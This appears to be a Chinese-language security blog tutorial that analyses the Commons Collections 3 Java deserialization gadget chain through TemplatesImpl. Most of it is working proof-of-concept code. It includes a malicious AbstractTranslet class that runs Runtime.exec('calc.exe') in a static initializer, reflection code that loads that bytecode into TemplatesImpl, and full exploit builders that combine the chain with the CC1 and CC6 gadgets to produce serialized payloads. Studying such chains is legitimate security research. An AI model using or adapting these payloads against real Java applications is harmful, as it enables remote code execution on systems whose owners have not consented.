涉及前置知识
类的加载机制
在java动态加载字节码中写到过
java文件的编译,java文件编译过程包括
.java源代码->词法分析->语法分析->语义分析->注释处理->字节码生成->.class文件
类加载过程有包括
类加载器->查找字节码->读取字节流->方法区存储->创建Class对象
环境配置
jdk8u65
Commons-Collections <= 3.2.1
分析
首先我们的入手点事defineClass()
他只加载类,但是不执行类
同时ClassLoader类里面的defineClass方法是私有的,我们需要找到公有或default类型的,其中我们跟随到Templateslmpl类中有一个default类型的defineClass方法
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
看到本类的调用到了此方法
defineTransletClasses
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
要求是__name
不为null并且__class
为null
可以看到这个一直在跟的所有方法都在同一个类中,只要找到公开的即可,继续跟进
newTransformer()
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
找到了public方法,我们可以直接调用
所以我们的链子是
TemplatesImpl::newTransformer()->TemplatesImpl::getTransletInstance()->TemplatesImpl::defineTransletClasses()->TemplatesImpl::defineClass()->执行代码
构造POC
newTransformer()不需要什么条件就能直接调用到getTransletlnstance
跟进到getTransletlnstance方法
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
还是上面说过的问题
__name
需要赋值__class
不能赋值
然后满足条件后会调用到defineTransletClasses,跟进
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
_bytecodes
需要赋值,_tfactory
需要赋值
我们这里编写exp
需要通过反射对_name
,_bytecodes
,_tfactory
赋值
其中对于_bytecodes
的值,这里需要的是[][]
但是_bytecodes
作为传递进 defineClass 方法的值是一个一维数组。而这个一维数组里面我们需要存放恶意的字节码
这里我们可以这么进行赋值
byte[] evil = Files.readAllBytes(Paths.get("evil.class"));
byte[][] codes = {evil};
先写一个dome,但是报错了
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class test1 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class<?> c = templates.getClass();
//给_name进行赋值
Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"a");
//给_bytecodes赋值
Field _bytecodes = c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] evilCode = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));//字节码文件的位置
byte[][] codes = {evilCode};
_bytecodes.set(templates,codes);
templates.newTransformer();
}
}
打断点我们可以看到这个并没有通过
我们需要设置_tfactory
有一个修饰符transient
,代表此属性是不能被序列化的,就是反序列化不能给他赋值,只要_tfactory
不为null就可以
readObject里有赋值语句_tfactory = new TransformerFactoryImpl();
所以直接在反射中将其赋值为 TransformerFactortImpl 即可
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class test1 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class<?> c = templates.getClass();
//给_name进行赋值
Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"a");
//给_bytecodes赋值
Field _bytecodes = c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] evilCode = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));//字节码文件的位置
byte[][] codes = {evilCode};
_bytecodes.set(templates,codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
}
我的恶意类
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class asd extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public asd() {
super();
System.out.println("Hello TemplatesImpl");
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}
这里如果由于恶意类报错的可能原因是
需要我们的字节码必须是 Translet 子类,我们的恶意类必须直接或间接继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
AbstractTranslet是抽象类,所以我们要实现它所有的抽象方法,所以我们加上就可以
扩展
我们继续扩展一下
我们现在有两条路子,一条是找什么触发了newTransformer() 另一条是找transform方法
要执行TemplatesImpl.newTransformer() 方法
在.java
中找到了,并且是public属性,参数可控
但是此类不能被序列化,只能从他Class入口通过构造赋值
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
这里调用了一个新的类InstantiateTransformer
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
他会判断参数是否为Class类型,然后会获取这个指定参数类型的Class,然后调用它的构造函数.newinstance()实例化
所以我们可以通过InstantiateTransformer.transform()
获取 TrAXFilter类构造器并初始化实现templates.newTransformer()
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class test4 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","empty");
byte[] code = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc3.bin"));
oos.writeObject(o);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}
这是对于CC3本身来说
与CC1结合
我们通过CC1的sink点 通过transform反射调用 TemplatesImpl.newTransformer()
只是最后命令执行方式,就是链子会变长一些
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class test5 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","empty");
byte[] code = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(1);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
//serialize(o);
unserialize("cc3_templatesImpl.bin");
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3_templatesImpl.bin"));
oos.writeObject(o);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
CC6链子结合
根据链子可以看到是利用CC6的sink,可以直接触发调用Templateslmpl.newTransformer()
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class test6 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","a");
byte[] code = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(),new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"2");
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put(tiedMapEntry, "3");
lazyMap.remove("2");
//反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap, chainedTransformer);
serialize(hashmap);
unserialize("CC3.txt");
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
//定义序列化操作
public static void serialize(Object object) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC3.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
总结
对这几个链子自己画了一下